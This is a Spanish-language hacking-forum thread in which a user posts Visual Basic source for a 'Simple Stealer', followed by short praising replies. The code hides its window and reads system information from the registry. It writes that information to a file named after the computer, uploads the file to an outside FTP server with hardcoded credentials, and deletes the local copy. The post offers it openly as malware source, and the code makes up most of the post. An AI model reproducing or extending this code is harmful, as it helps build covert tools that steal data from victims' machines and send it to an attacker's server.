[SCR] Simple Stealer

  • 3 Respuestas
  • 2961 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
  • Skype: k0wsit0
    • Ver Perfil

[SCR] Simple Stealer

  • en: Marzo 31, 2012, 06:29:36 pm
Bueno,aqui os dejo este source,lo unico que necesitareis sera el modulo cFTP de cobein.

Código: (vb) [Seleccionar]
'Codeado por k0ws/respeta el autor
Option Explicit
Dim cFTP As New mFTP
Private Sub Form_Load()
Me.Hide
Dim yo As Object
Set yo = CreateObject("wscript.shell")
Dim so As String
so = yo.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")
Text1.text = "Tu Remoto Usa: " & so
Call Mandar()
End Sub

Function Mandar()
Dim Stealed As String
Dim ftpHost As String
Dim ftpUser As String
Dim ftpPass As String
Stealed = Environ("homedrive") & "\" & Environ("ComputerName") & StrReverse("txt.")
ftpHost = ftp.host.net
ftpUser = GAY
ftpPass = GAY2
Open Stealed For Output As #1
Print #1, Text1.Text
Close #1
cFTP.Connect ftpHost, ftpUser, ftpPass, 21, True, eAT_Direct, vbNullString, vbNullString
cFTP.PutFile Stealed, Environ("ComputerName") & StrReverse("txt.")
cFTP.Disconnect
'
Kill Stealed
'
END
End Function

-Saludos-
« Última modificación: Enero 31, 2013, 02:10:24 pm por k0ws »

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil

Re:[SCR] Simple Stealer

  • en: Marzo 31, 2012, 07:07:34 pm
Muy bueno crack
Twitter: @The_Pr0ph3t
[email protected]

Desconectado Sanko

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    0%
  • Actividad:
    0%
  • Country: 00
  • Reputación 0
  • ¿Puedes?
    • Ver Perfil
    • Underc0de

Re:[SCR] Simple Stealer

  • en: Marzo 31, 2012, 08:29:42 pm
Muy buena
A rippear ! , no son bromas XD
no rippeen putos
Sigueme en Twitter : @Sankosk
Estos nuevos staff no tienen puta idea XD

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil

Re:[SCR] Simple Stealer

  • en: Marzo 31, 2012, 08:31:14 pm
Muy buena
A rippear ! , no son bromas XD
no rippeen putos

Lol, habrá alguno que seguro que lo hará.
Twitter: @The_Pr0ph3t
[email protected]